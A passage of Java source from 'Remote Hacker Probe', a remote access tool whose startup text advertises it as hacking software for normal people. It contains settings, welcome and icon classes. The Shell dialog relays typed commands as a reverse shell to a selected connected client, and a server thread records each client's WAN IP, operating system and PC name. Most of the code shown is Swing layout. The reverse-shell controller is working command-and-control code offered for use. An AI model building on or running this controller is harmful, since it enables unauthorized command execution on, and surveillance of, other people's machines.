();
96 | themes.add("Dark");
97 | themes.add("Light");
98 | themes.add("Solarized Dark");
99 | themes.add("Solarized Light");
100 |
101 | String theme = themes.get(themes.indexOf(ThemeName));
102 | MainWindow.SaveTheme(theme);
103 | MainWindow.UpdateTheme();
104 | }
105 |
106 | public Settings() {
107 | setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
108 | setTitle("Remote Hacker Probe | Settings");
109 | setBounds(100, 100, 361, 203);
110 | getContentPane().setLayout(new BorderLayout());
111 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5));
112 | getContentPane().add(contentPanel, BorderLayout.CENTER);
113 |
114 | JLabel heading = new JLabel("Server Settings");
115 | heading.setFont(new Font("Calibri", Font.PLAIN, 15));
116 |
117 | JLabel servhost = new JLabel("Server Host : ");
118 | servhost.setFont(new Font("Calibri", Font.PLAIN, 12));
119 |
120 | JLabel lblTcpServerPort = new JLabel("Server Port : ");
121 | lblTcpServerPort.setFont(new Font("Calibri", Font.PLAIN, 12));
122 |
123 | Host = new JTextField();
124 | Host.setEditable(false);
125 | Host.setFont(new Font("Consolas", Font.PLAIN, 11));
126 | Host.setColumns(10);
127 | Host.setText(Settings.returnSetting("host"));
128 |
129 | Port = new JTextField();
130 | Port.setEditable(false);
131 | Port.setFont(new Font("Consolas", Font.PLAIN, 11));
132 | Port.setColumns(10);
133 | Port.setText(Settings.returnSetting("port"));
134 | JLabel lblNewLabel = new JLabel("Theme : ");
135 | lblNewLabel.setFont(new Font("Calibri", Font.PLAIN, 12));
136 |
137 | String[] items = {"Dark", "Light", "Solarized Dark", "Solarized Light"};
138 | JComboBox comboBox = new JComboBox(items);
139 | comboBox.getModel().setSelectedItem(Settings.returnSetting("theme"));
140 |
141 | comboBox.setFont(new Font("Calibri", Font.PLAIN, 12));
142 | comboBox.addActionListener(new ActionListener() {
143 | public void actionPerformed(ActionEvent e) {
144 | String themeName = items[comboBox.getSelectedIndex()];
145 | UpdateThemeGlobally(themeName);
146 | JOptionPane.showMessageDialog(null, "Theme Updated.");
147 | }
148 | });
149 |
150 | GroupLayout gl_contentPanel = new GroupLayout(contentPanel);
151 | gl_contentPanel.setHorizontalGroup(
152 | gl_contentPanel.createParallelGroup(Alignment.LEADING)
153 | .addGroup(gl_contentPanel.createSequentialGroup()
154 | .addGap(5)
155 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.TRAILING)
156 | .addGroup(gl_contentPanel.createSequentialGroup()
157 | .addComponent(heading, GroupLayout.DEFAULT_SIZE, 123, Short.MAX_VALUE)
158 | .addGap(207))
159 | .addGroup(gl_contentPanel.createSequentialGroup()
160 | .addComponent(servhost, GroupLayout.DEFAULT_SIZE, 94, Short.MAX_VALUE)
161 | .addGap(1)
162 | .addComponent(Host, GroupLayout.DEFAULT_SIZE, 225, Short.MAX_VALUE)
163 | .addContainerGap())
164 | .addGroup(gl_contentPanel.createSequentialGroup()
165 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
166 | .addGroup(gl_contentPanel.createSequentialGroup()
167 | .addComponent(lblTcpServerPort, GroupLayout.DEFAULT_SIZE, 94, Short.MAX_VALUE)
168 | .addGap(1))
169 | .addGroup(gl_contentPanel.createSequentialGroup()
170 | .addGap(10)
171 | .addComponent(lblNewLabel, GroupLayout.PREFERRED_SIZE, 19, Short.MAX_VALUE)
172 | .addGap(35)))
173 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
174 | .addGroup(gl_contentPanel.createSequentialGroup()
175 | .addComponent(comboBox, 0, 128, Short.MAX_VALUE)
176 | .addGap(97))
177 | .addComponent(Port, Alignment.TRAILING, GroupLayout.DEFAULT_SIZE, 225, Short.MAX_VALUE))
178 | .addContainerGap())))
179 | );
180 | gl_contentPanel.setVerticalGroup(
181 | gl_contentPanel.createParallelGroup(Alignment.LEADING)
182 | .addGroup(gl_contentPanel.createSequentialGroup()
183 | .addGap(6)
184 | .addComponent(heading, GroupLayout.PREFERRED_SIZE, 14, GroupLayout.PREFERRED_SIZE)
185 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
186 | .addGroup(gl_contentPanel.createSequentialGroup()
187 | .addGap(11)
188 | .addComponent(servhost, GroupLayout.PREFERRED_SIZE, 14, Short.MAX_VALUE)
189 | .addGap(1))
190 | .addGroup(gl_contentPanel.createSequentialGroup()
191 | .addGap(6)
192 | .addComponent(Host)))
193 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
194 | .addGroup(gl_contentPanel.createSequentialGroup()
195 | .addGap(13)
196 | .addComponent(lblTcpServerPort, GroupLayout.PREFERRED_SIZE, 14, GroupLayout.PREFERRED_SIZE))
197 | .addGroup(gl_contentPanel.createSequentialGroup()
198 | .addGap(10)
199 | .addComponent(Port)))
200 | .addPreferredGap(ComponentPlacement.UNRELATED)
201 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
202 | .addGroup(gl_contentPanel.createSequentialGroup()
203 | .addComponent(comboBox)
204 | .addGap(1))
205 | .addComponent(lblNewLabel, GroupLayout.PREFERRED_SIZE, 22, GroupLayout.PREFERRED_SIZE))
206 | .addGap(12))
207 | );
208 | contentPanel.setLayout(gl_contentPanel);
209 | {
210 | JPanel buttonPane = new JPanel();
211 | buttonPane.setLayout(new FlowLayout(FlowLayout.RIGHT));
212 | getContentPane().add(buttonPane, BorderLayout.SOUTH);
213 | {
214 | JButton okButton = new JButton("OK");
215 | okButton.addActionListener(new ActionListener() {
216 | public void actionPerformed(ActionEvent e) {
217 | dispose();
218 | }
219 | });
220 | okButton.setActionCommand("OK");
221 | buttonPane.add(okButton);
222 | getRootPane().setDefaultButton(okButton);
223 | }
224 |
225 | JButton btnNewButton = new JButton("Change");
226 | btnNewButton.addActionListener(new ActionListener() {
227 | public void actionPerformed(ActionEvent e) {
228 | Host.setEditable(true);
229 | Port.setEditable(true);
230 | }
231 | });
232 | buttonPane.add(btnNewButton);
233 |
234 | JButton savebtn = new JButton("Save");
235 | savebtn.addActionListener(new ActionListener() {
236 | public void actionPerformed(ActionEvent e) {
237 | if(Host.isEditable() && Port.isEditable())
238 | {
239 | String newhost = Host.getText();
240 | String newport = Port.getText();
241 | try {
242 | if(newhost != null) {
243 | changeProperty("rhp.ini", "host", newhost);
244 | changeProperty("rhp.ini", "port", newport);
245 | JOptionPane.showMessageDialog(null, "The Host or Port has been changed. Restart for Changes to take Effect.");
246 | Host.setEditable(false);
247 | Port.setEditable(false);
248 | MainWindow.Log("Host and Port Changed to " + Settings.returnSetting("host")+":"+Settings.returnSetting("port"));
249 | }
250 | } catch (IOException e1) {
251 | e1.printStackTrace();
252 | }
253 | } else {
254 | JOptionPane.showMessageDialog(null, "You must change the values first.");
255 | }
256 | }
257 | });
258 | buttonPane.add(savebtn);
259 | }
260 | }
261 | }
262 |
--------------------------------------------------------------------------------
/gui/src/main/java/rhp/Shell.java:
--------------------------------------------------------------------------------
1 | package rhp;
2 |
3 | import java.awt.BorderLayout;
4 | import java.awt.Color;
5 | import java.awt.Cursor;
6 | import java.awt.FlowLayout;
7 |
8 | import javax.swing.ImageIcon;
9 | import javax.swing.JButton;
10 | import javax.swing.JDialog;
11 | import javax.swing.JFileChooser;
12 | import javax.swing.JMenuItem;
13 | import javax.swing.JPanel;
14 | import javax.swing.JPopupMenu;
15 | import javax.swing.JScrollPane;
16 | import javax.swing.border.EmptyBorder;
17 | import javax.swing.text.DefaultCaret;
18 | import javax.swing.JTextField;
19 | import java.awt.Font;
20 | import javax.swing.JTextArea;
21 | import java.awt.event.ActionListener;
22 | import java.awt.event.WindowAdapter;
23 | import java.awt.event.WindowEvent;
24 | import java.io.File;
25 | import java.io.FileWriter;
26 | import java.io.IOException;
27 | import java.awt.event.ActionEvent;
28 | import javax.swing.GroupLayout;
29 | import javax.swing.GroupLayout.Alignment;
30 | import javax.swing.LayoutStyle.ComponentPlacement;
31 | import javax.swing.JLabel;
32 |
33 | public class Shell extends JDialog {
34 | private JTextField ShellInput;
35 | public int ShellAccessingClientId;
36 | public static JTextArea ShellOutput = new JTextArea();
37 | JButton ShellGo;
38 | JLabel interact = new JLabel("");
39 | public Shell() {
40 | setResizable(false);
41 | setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
42 | setTitle("Remote Hacker Probe | Reverse Shell");
43 | setBounds(100, 100, 633, 387);
44 |
45 | ShellInput = new JTextField();
46 | ShellInput.setBounds(10, 305, 540, 37);
47 | ShellInput.setToolTipText("Shell Input");
48 | ShellInput.setFont(new Font("Consolas", Font.PLAIN, 12));
49 | ShellInput.setColumns(10);
50 | ShellInput.addActionListener(new java.awt.event.ActionListener() {
51 | public void actionPerformed(ActionEvent e) {
52 | ShellGo.doClick();
53 | }
54 | });
55 | ShellOutput.setToolTipText("Reverse Shell Output");
56 |
57 | ShellOutput.setEditable(false);
58 | ShellOutput.setFont(new Font("Consolas", Font.PLAIN, 13));
59 |
60 | DefaultCaret caret = (DefaultCaret) ShellOutput.getCaret();
61 | caret.setUpdatePolicy(DefaultCaret.ALWAYS_UPDATE);
62 | JScrollPane sp_3 = new JScrollPane(ShellOutput);
63 | sp_3.setBounds(10, 34, 597, 260);
64 | sp_3.setToolTipText("Shell Output");
65 | sp_3.setHorizontalScrollBarPolicy(JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
66 | sp_3.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);
67 |
68 | ShellGo = new JButton(">");
69 | ShellGo.setBounds(560, 304, 52, 38);
70 | ShellGo.addActionListener(new ActionListener() {
71 | public void actionPerformed(ActionEvent e) {
72 | String shellexec = ShellInput.getText().strip();
73 | if(shellexec.length() > 0) {
74 | ShellOutput.append(">> " + shellexec);
75 | Server.SendData(Server.Clients.get(ShellAccessingClientId), shellexec);
76 | ShellInput.setText("");
77 | ServerThread.WaitForReply();
78 | }
79 | }
80 | });
81 | ShellGo.setToolTipText("Go");
82 | ShellGo.setFont(new Font("Calibri", Font.PLAIN, 16));
83 | ShellOutput.setBounds(10, 11, 710, 326);
84 |
85 | JPopupMenu shelloptions = new JPopupMenu();
86 | JMenuItem saveout = new JMenuItem("Save Output");
87 | saveout.setFont(new Font("Calibri", Font.PLAIN, 13));
88 | saveout.addActionListener(new ActionListener() {
89 | public void actionPerformed(ActionEvent e) {
90 | JFileChooser fileChooser = new JFileChooser();
91 | if (fileChooser.showSaveDialog(null) == JFileChooser.APPROVE_OPTION) {
92 | File file = fileChooser.getSelectedFile();
93 | FileWriter wt;
94 | try {
95 | wt = new FileWriter(file, true);
96 | wt.write(ShellOutput.getText());
97 | wt.close();
98 | } catch (IOException e2) {
99 | // TODO Auto-generated catch block
100 | e2.printStackTrace();
101 | }
102 | }
103 | }
104 | });
105 | JMenuItem clear = new JMenuItem("Clear");
106 | clear.setFont(new Font("Calibri", Font.PLAIN, 13));
107 | clear.addActionListener(new ActionListener() {
108 | public void actionPerformed(ActionEvent e) {
109 | ShellOutput.setText("");
110 | }
111 | });
112 | JMenuItem ChangeColor = new JMenuItem("Change Color");
113 | ChangeColor.setFont(new Font("Calibri", Font.PLAIN, 13));
114 | ChangeColor.addActionListener(new ActionListener() {
115 | public void actionPerformed(ActionEvent e) {
116 | Color randomColor = new Color((int)(Math.random() * 0x1000000));
117 | ShellOutput.setForeground(randomColor);
118 | }
119 | });
120 | getContentPane().setLayout(null);
121 | shelloptions.add(saveout);
122 | shelloptions.add(clear);
123 | shelloptions.add(ChangeColor);
124 | MainWindow.addPopup(ShellOutput, shelloptions);
125 | getContentPane().add(sp_3);
126 | getContentPane().add(ShellInput);
127 | getContentPane().add(ShellGo);
128 |
129 |
130 | interact.setFont(new Font("Calibri", Font.PLAIN, 12));
131 | interact.setBounds(10, 9, 583, 14);
132 |
133 | getContentPane().add(interact);
134 |
135 | addWindowListener(new WindowAdapter() {
136 | @Override
137 | public void windowOpened(WindowEvent we) {
138 | ShellOutput.setText(""); // clear for any data that may be in
139 | }
140 | });
141 |
142 | addWindowListener(new WindowAdapter() {
143 | @Override
144 | public void windowClosed(WindowEvent e) {
145 | Shell.ShellOutput.setText("");
146 | MainWindow.Log("Reverse Shell closed.");
147 | }
148 | });
149 | }
150 | }
151 |
--------------------------------------------------------------------------------
/gui/src/main/java/rhp/StartupWindow.java:
--------------------------------------------------------------------------------
1 | package rhp;
2 |
3 | import java.awt.BorderLayout;
4 | import java.awt.FlowLayout;
5 |
6 | import javax.swing.JButton;
7 | import javax.swing.JDialog;
8 | import javax.swing.JPanel;
9 | import javax.swing.border.EmptyBorder;
10 | import javax.swing.GroupLayout;
11 | import javax.swing.GroupLayout.Alignment;
12 | import javax.swing.ImageIcon;
13 | import javax.swing.JLabel;
14 | import javax.swing.JOptionPane;
15 | import javax.swing.LayoutStyle.ComponentPlacement;
16 | import java.awt.Font;
17 | import java.awt.event.ActionListener;
18 | import java.io.FileWriter;
19 | import java.io.IOException;
20 | import java.awt.event.ActionEvent;
21 |
22 | public class StartupWindow extends JDialog {
23 |
24 | public static void CreateSettingsFile()
25 | {
26 | try {
27 | FileWriter rewrite = new FileWriter("rhp.ini", false);
28 | rewrite.write("host=0.0.0.0");
29 | rewrite.write("\nport=1234");
30 | rewrite.write("\ntheme=Light");
31 | rewrite.close();
32 | } catch (IOException e) {
33 | e.printStackTrace();
34 | }
35 | }
36 |
37 | private final JPanel contentPanel = new JPanel();
38 | JButton starbtn = new JButton("Star");
39 | JButton donatebtn = new JButton("Donate");
40 |
41 | String firstMessage = ""
42 | + "Welcome, " + Settings.userSetting("username")
43 | + ". Thank you for using The Remote Hacker Probe. The Hacking Software for normal people. Created to be EASY and Stable to use.
"
44 | + "The Remote Hacker Probe also has a Pro Version. Consider upgrading : https://quantumcored.com/index.php/the-remote-hacker-probe/
"
45 | + "The Remote Hacker Probe will now Start with Default Settings.
"
46 | + "Server Host : 0.0.0.0
Server Port : 1234
Theme : Light."
47 | + "
";
48 |
49 | String secondMessage = "Before you start, I (QuantumCore) would like to ask for your support.
"
50 | + "Help me with my future projects / Leave a Star on the Remote Hacker Probe Repository.
"
51 | + "
OR Consider donating, When you Donate, You save the developer from starvation.
"
52 | + "";
53 |
54 | /**
55 | * Create the dialog.
56 | */
57 | public StartupWindow() {
58 | setTitle("Remote Hacker Probe | Welcome");
59 | setBounds(100, 100, 499, 475);
60 | getContentPane().setLayout(new BorderLayout());
61 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5));
62 | getContentPane().add(contentPanel, BorderLayout.CENTER);
63 | JLabel introlbl = new JLabel();
64 | introlbl.setFont(new Font("Calibri", Font.PLAIN, 12));
65 | introlbl.setText(firstMessage);
66 |
67 | JLabel heading = new JLabel("The Remote Hacker Probe");
68 | heading.setFont(new Font("Calibri", Font.BOLD, 14));
69 | ImageIcon cat = new ImageIcon("img/hacker-cat.gif");
70 | JLabel icon = new JLabel(cat);
71 | icon.setToolTipText("Letsss Gett Started!!");
72 |
73 | GroupLayout gl_contentPanel = new GroupLayout(contentPanel);
74 | gl_contentPanel.setHorizontalGroup(
75 | gl_contentPanel.createParallelGroup(Alignment.TRAILING)
76 | .addGroup(gl_contentPanel.createSequentialGroup()
77 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING)
78 | .addGroup(gl_contentPanel.createSequentialGroup()
79 | .addContainerGap()
80 | .addComponent(introlbl, GroupLayout.DEFAULT_SIZE, 453, Short.MAX_VALUE))
81 | .addGroup(gl_contentPanel.createSequentialGroup()
82 | .addContainerGap()
83 | .addComponent(icon, GroupLayout.DEFAULT_SIZE, 453, Short.MAX_VALUE))
84 | .addGroup(gl_contentPanel.createSequentialGroup()
85 | .addGap(155)
86 | .addComponent(heading)))
87 | .addContainerGap())
88 | );
89 | gl_contentPanel.setVerticalGroup(
90 | gl_contentPanel.createParallelGroup(Alignment.LEADING)
91 | .addGroup(gl_contentPanel.createSequentialGroup()
92 | .addContainerGap()
93 | .addComponent(heading)
94 | .addGap(11)
95 | .addComponent(introlbl, GroupLayout.DEFAULT_SIZE, 128, Short.MAX_VALUE)
96 | .addPreferredGap(ComponentPlacement.RELATED)
97 | .addComponent(icon, GroupLayout.DEFAULT_SIZE, 208, Short.MAX_VALUE)
98 | .addContainerGap())
99 | );
100 | contentPanel.setLayout(gl_contentPanel);
101 | {
102 | JPanel buttonPane = new JPanel();
103 | buttonPane.setLayout(new FlowLayout(FlowLayout.RIGHT));
104 |
105 | starbtn.addActionListener(new ActionListener() {
106 | public void actionPerformed(ActionEvent e) {
107 | String url = "https://www.github.com/quantumcored/remote_hacker_probe";
108 | try {
109 | java.awt.Desktop.getDesktop().browse(java.net.URI.create(url));
110 | } catch (IOException e1) {
111 | // TODO Auto-generated catch block
112 | e1.printStackTrace();
113 | }
114 | }
115 | });
116 | starbtn.setVisible(false);
117 | buttonPane.add(starbtn);
118 |
119 |
120 | donatebtn.addActionListener(new ActionListener() {
121 | public void actionPerformed(ActionEvent e) {
122 | String url = "https://commerce.coinbase.com/checkout/cebcb394-f73e-4990-98b9-b3fdd852358f";
123 | try {
124 | java.awt.Desktop.getDesktop().browse(java.net.URI.create(url));
125 | } catch (IOException e1) {
126 | // TODO Auto-generated catch block
127 | e1.printStackTrace();
128 | }
129 | }
130 | });
131 | donatebtn.setVisible(false);
132 | buttonPane.add(donatebtn);
133 |
134 |
135 | getContentPane().add(buttonPane, BorderLayout.SOUTH);
136 | {
137 | JButton okButton = new JButton("Next");
138 | okButton.addActionListener(new ActionListener() {
139 | public void actionPerformed(ActionEvent e) {
140 | if(okButton.getText().equals("Next")) {
141 | introlbl.setText(secondMessage);
142 | icon.setIcon(new ImageIcon("img/hamster.gif"));
143 | okButton.setText("OK");
144 | starbtn.setVisible(true);
145 | donatebtn.setVisible(true);
146 | // CreateSettingsFile();
147 | } else {
148 | MainWindow mw = new MainWindow();
149 | mw.frmRemoteHackerProbe.setVisible(true);
150 | dispose();
151 | }
152 |
153 | }
154 | });
155 |
156 | okButton.setActionCommand("OK");
157 | buttonPane.add(okButton);
158 | getRootPane().setDefaultButton(okButton);
159 |
160 |
161 | }
162 | }
163 | }
164 | }
165 |
--------------------------------------------------------------------------------
/gui/src/main/java/rhp/StretchIcon.java:
--------------------------------------------------------------------------------
1 | package rhp;
2 |
3 | import java.awt.Component;
4 | import java.awt.Container;
5 | import java.awt.Graphics;
6 | import java.awt.Graphics2D;
7 | import java.awt.Image;
8 | import java.awt.Insets;
9 | import java.awt.RenderingHints;
10 | import java.awt.image.BufferedImage;
11 | import java.awt.image.ImageObserver;
12 | import java.net.URL;
13 |
14 | import javax.swing.ImageIcon;
15 |
16 | /**
17 | * An Icon
that scales its image to fill the component area, excluding any border or insets, optionally maintaining the image's
18 | * aspect ratio by padding and centering the scaled image horizontally or vertically.
19 | *
20 | * The class is a drop-in replacement for ImageIcon
, except that the no-argument constructor is not supported.
21 | *
22 | * As the size of the Icon is determined by the size of the component in which it is displayed, StretchIcon
must only be used
23 | * in conjunction with a component and layout that does not depend on the size of the component's Icon.
24 | *
25 | * @version 1.1 01/15/2016
26 | * @author Darryl
27 | */
28 | public class StretchIcon extends ImageIcon
29 | {
30 | /**
31 | *
32 | */
33 | private static final long serialVersionUID = 1L;
34 | /**
35 | * Determines whether the aspect ratio of the image is maintained. Set to false
to allow th image to distort to fill the
36 | * component.
37 | */
38 | protected boolean proportionate = true;
39 |
40 | /**
41 | * Creates a StretchIcon
from an array of bytes.
42 | *
43 | * @param imageData an array of pixels in an image format supported by the AWT Toolkit, such as GIF, JPEG, or (as of 1.3) PNG
44 | *
45 | * @see ImageIcon#ImageIcon(byte[])
46 | */
47 | public StretchIcon(byte[] imageData)
48 | {
49 | super(imageData);
50 | }
51 |
52 | /**
53 | * Creates a StretchIcon
from an array of bytes with the specified behavior.
54 | *
55 | * @param imageData an array of pixels in an image format supported by the AWT Toolkit, such as GIF, JPEG, or (as of 1.3) PNG
56 | * @param proportionate true
to retain the image's aspect ratio, false
to allow distortion of the image to
57 | * fill the component.
58 | *
59 | * @see ImageIcon#ImageIcon(byte[])
60 | */
61 | public StretchIcon(byte[] imageData, boolean proportionate)
62 | {
63 | super(imageData);
64 | this.proportionate = proportionate;
65 | }
66 |
67 | /**
68 | * Creates a StretchIcon
from an array of bytes.
69 | *
70 | * @param imageData an array of pixels in an image format supported by the AWT Toolkit, such as GIF, JPEG, or (as of 1.3) PNG
71 | * @param description a brief textual description of the image
72 | *
73 | * @see ImageIcon#ImageIcon(byte[], java.lang.String)
74 | */
75 | public StretchIcon(byte[] imageData, String description)
76 | {
77 | super(imageData, description);
78 | }
79 |
80 | /**
81 | * Creates a StretchIcon
from an array of bytes with the specified behavior.
82 | *
83 | * @see ImageIcon#ImageIcon(byte[])
84 | * @param imageData an array of pixels in an image format supported by the AWT Toolkit, such as GIF, JPEG, or (as of 1.3) PNG
85 | * @param description a brief textual description of the image
86 | * @param proportionate true
to retain the image's aspect ratio, false
to allow distortion of the image to
87 | * fill the component.
88 | *
89 | * @see ImageIcon#ImageIcon(byte[], java.lang.String)
90 | */
91 | public StretchIcon(byte[] imageData, String description, boolean proportionate)
92 | {
93 | super(imageData, description);
94 | this.proportionate = proportionate;
95 | }
96 |
97 | /**
98 | * Creates a StretchIcon
from the image.
99 | *
100 | * @param image the image
101 | *
102 | * @see ImageIcon#ImageIcon(java.awt.Image)
103 | */
104 | public StretchIcon(Image image)
105 | {
106 | super(image);
107 | }
108 |
109 | /**
110 | * Creates a StretchIcon
from the image with the specified behavior.
111 | *
112 | * @param image the image
113 | * @param proportionate true
to retain the image's aspect ratio, false
to allow distortion of the image to
114 | * fill the component.
115 | *
116 | * @see ImageIcon#ImageIcon(java.awt.Image)
117 | */
118 | public StretchIcon(Image image, boolean proportionate)
119 | {
120 | super(image);
121 | this.proportionate = proportionate;
122 | }
123 |
124 | /**
125 | * Creates a StretchIcon
from the image.
126 | *
127 | * @param image the image
128 | * @param description a brief textual description of the image
129 | *
130 | * @see ImageIcon#ImageIcon(java.awt.Image, java.lang.String)
131 | */
132 | public StretchIcon(Image image, String description)
133 | {
134 | super(image, description);
135 | }
136 |
137 | /**
138 | * Creates a StretchIcon
from the image with the specified behavior.
139 | *
140 | * @param image the image
141 | * @param description a brief textual description of the image
142 | * @param proportionate true
to retain the image's aspect ratio, false
to allow distortion of the image to
143 | * fill the component.
144 | *
145 | * @see ImageIcon#ImageIcon(java.awt.Image, java.lang.String)
146 | */
147 | public StretchIcon(Image image, String description, boolean proportionate)
148 | {
149 | super(image, description);
150 | this.proportionate = proportionate;
151 | }
152 |
153 | /**
154 | * Creates a StretchIcon
from the specified file.
155 | *
156 | * @param filename a String specifying a filename or path
157 | *
158 | * @see ImageIcon#ImageIcon(java.lang.String)
159 | */
160 | public StretchIcon(String filename)
161 | {
162 | super(filename);
163 | }
164 |
165 | /**
166 | * Creates a StretchIcon
from the specified file with the specified behavior.
167 | *
168 | * @param filename a String specifying a filename or path
169 | * @param proportionate true
to retain the image's aspect ratio, false
to allow distortion of the image to
170 | * fill the component.
171 | *
172 | * @see ImageIcon#ImageIcon(java.lang.String)
173 | */
174 | public StretchIcon(String filename, boolean proportionate)
175 | {
176 | super(filename);
177 | this.proportionate = proportionate;
178 | }
179 |
180 | /**
181 | * Creates a StretchIcon
from the specified file.
182 | *
183 | * @param filename a String specifying a filename or path
184 | * @param description a brief textual description of the image
185 | *
186 | * @see ImageIcon#ImageIcon(java.lang.String, java.lang.String)
187 | */
188 | public StretchIcon(String filename, String description)
189 | {
190 | super(filename, description);
191 | }
192 |
193 | /**
194 | * Creates a StretchIcon
from the specified file with the specified behavior.
195 | *
196 | * @param filename a String specifying a filename or path
197 | * @param description a brief textual description of the image
198 | * @param proportionate true
to retain the image's aspect ratio, false
to allow distortion of the image to
199 | * fill the component.
200 | *
201 | * @see ImageIcon#ImageIcon(java.awt.Image, java.lang.String)
202 | */
203 | public StretchIcon(String filename, String description, boolean proportionate)
204 | {
205 | super(filename, description);
206 | this.proportionate = proportionate;
207 | }
208 |
209 | /**
210 | * Creates a StretchIcon
from the specified URL.
211 | *
212 | * @param location the URL for the image
213 | *
214 | * @see ImageIcon#ImageIcon(java.net.URL)
215 | */
216 | public StretchIcon(URL location)
217 | {
218 | super(location);
219 | }
220 |
221 | /**
222 | * Creates a StretchIcon
from the specified URL with the specified behavior.
223 | *
224 | * @param location the URL for the image
225 | * @param proportionate true
to retain the image's aspect ratio, false
to allow distortion of the image to
226 | * fill the component.
227 | *
228 | * @see ImageIcon#ImageIcon(java.net.URL)
229 | */
230 | public StretchIcon(URL location, boolean proportionate)
231 | {
232 | super(location);
233 | this.proportionate = proportionate;
234 | }
235 |
236 | /**
237 | * Creates a StretchIcon
from the specified URL.
238 | *
239 | * @param location the URL for the image
240 | * @param description a brief textual description of the image
241 | *
242 | * @see ImageIcon#ImageIcon(java.net.URL, java.lang.String)
243 | */
244 | public StretchIcon(URL location, String description)
245 | {
246 | super(location, description);
247 | }
248 |
249 | /**
250 | * Creates a StretchIcon
from the specified URL with the specified behavior.
251 | *
252 | * @param location the URL for the image
253 | * @param description a brief textual description of the image
254 | * @param proportionate true
to retain the image's aspect ratio, false
to allow distortion of the image to
255 | * fill the component.
256 | *
257 | * @see ImageIcon#ImageIcon(java.net.URL, java.lang.String)
258 | */
259 | public StretchIcon(URL location, String description, boolean proportionate)
260 | {
261 | super(location, description);
262 | this.proportionate = proportionate;
263 | }
264 |
265 | /**
266 | * Paints the icon. The image is reduced or magnified to fit the component to which it is painted.
267 | *
268 | * If the proportion has not been specified, or has been specified as true
, the aspect ratio of the image will be preserved
269 | * by padding and centering the image horizontally or vertically. Otherwise the image may be distorted to fill the component it is
270 | * painted to.
271 | *
272 | * If this icon has no image observer,this method uses the c
component as the observer.
273 | *
274 | * @param c the component to which the Icon is painted. This is used as the observer if this icon has no image observer
275 | * @param g the graphics context
276 | * @param x not used.
277 | * @param y not used.
278 | *
279 | * @see ImageIcon#paintIcon(java.awt.Component, java.awt.Graphics, int, int)
280 | */
281 | @Override
282 | public synchronized void paintIcon(Component c, Graphics g, int x, int y)
283 | {
284 | Image image = getImage();
285 | if (image == null)
286 | {
287 | return;
288 | }
289 | Insets insets = ((Container) c).getInsets();
290 | x = insets.left;
291 | y = insets.top;
292 |
293 | int w = c.getWidth() - x - insets.right;
294 | int h = c.getHeight() - y - insets.bottom;
295 |
296 | if (proportionate)
297 | {
298 | int iw = image.getWidth(c);
299 | int ih = image.getHeight(c);
300 |
301 | if ((iw * h) < (ih * w))
302 | {
303 | iw = (h * iw) / ih;
304 | x += (w - iw) / 2;
305 | w = iw;
306 | }
307 | else
308 | {
309 | ih = (w * ih) / iw;
310 | y += (h - ih) / 2;
311 | h = ih;
312 | }
313 | }
314 | ImageObserver io = getImageObserver();
315 |
316 | /*
317 | * Added this code to generate nicer looking results when scaling. - bspkrs
318 | * BEGIN CHANGES
319 | */
320 | BufferedImage bi = new BufferedImage(w, h, BufferedImage.TYPE_4BYTE_ABGR);
321 | Graphics2D g2d = bi.createGraphics();
322 | g2d.addRenderingHints(new RenderingHints(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_QUALITY));
323 | g2d.drawImage(image, 0, 0, w, h, io == null ? c : io);
324 | g2d.dispose();
325 | /*
326 | * END CHANGES
327 | */
328 |
329 | g.drawImage(bi, x, y, w, h, io == null ? c : io);
330 | }
331 |
332 | /**
333 | * Overridden to return 0. The size of this Icon is determined by the size of the component.
334 | *
335 | * @return 0
336 | */
337 | @Override
338 | public int getIconWidth()
339 | {
340 | return 0;
341 | }
342 |
343 | /**
344 | * Overridden to return 0. The size of this Icon is determined by the size of the component.
345 | *
346 | * @return 0
347 | */
348 | @Override
349 | public int getIconHeight()
350 | {
351 | return 0;
352 | }
353 | }
--------------------------------------------------------------------------------
/gui/src/main/java/rhp/thread.java:
--------------------------------------------------------------------------------
1 | package rhp;
2 |
3 | import java.awt.image.BufferedImage;
4 | import java.io.BufferedOutputStream;
5 | import java.io.File;
6 | import java.io.FileOutputStream;
7 | import java.io.IOException;
8 | import java.io.InputStream;
9 | import java.net.Socket;
10 | import java.net.SocketTimeoutException;
11 | import java.nio.file.Files;
12 | import java.nio.file.Path;
13 | import java.util.ArrayList;
14 | import java.util.Arrays;
15 | import java.util.concurrent.TimeUnit;
16 |
17 | import javax.imageio.ImageIO;
18 | import javax.swing.ImageIcon;
19 | import javax.swing.JLabel;
20 | import javax.swing.JOptionPane;
21 |
22 |
23 | class ServerThread extends Thread {
24 | public static boolean run = true;
25 | private Socket sock;
26 | static ArrayList LOG = new ArrayList();
27 | public ServerThread(Socket clientsocket) {
28 | this.sock = clientsocket;
29 | }
30 |
31 | public void clear()
32 | {
33 | int mainIndex = Server.Clients.indexOf(sock);
34 | try {
35 | Server.Clients.remove(mainIndex);
36 | Server.WANIP.remove(mainIndex);
37 | Server.OperatingSystem.remove(mainIndex);
38 | Server.UserPC.remove(mainIndex);
39 | MainWindow.model.removeRow(mainIndex);
40 | MainWindow.UpdateOnlineLabel();
41 | MainWindow.Log("Client ID : " + String.valueOf(mainIndex) + " disconnected.");
42 | } catch(Exception e) {
43 | e.printStackTrace();
44 | }
45 | }
46 |
47 | public static void WaitForReplyMeta() // bruh
48 | {
49 | LOG.clear();
50 |
51 | int x = 0;
52 | while(x != 20) {
53 | try {
54 | if(LOG.size() > 0) {
55 | break;
56 | }
57 |
58 | TimeUnit.MILLISECONDS.sleep(500);
59 | x+=1;
60 |
61 | } catch (Exception ef) {
62 | ef.printStackTrace();
63 | }
64 | }
65 | }
66 |
67 | public static void WaitForReply()
68 | {
69 | LOG.clear();
70 |
71 | int x = 0;
72 | while(x != 20) {
73 | try {
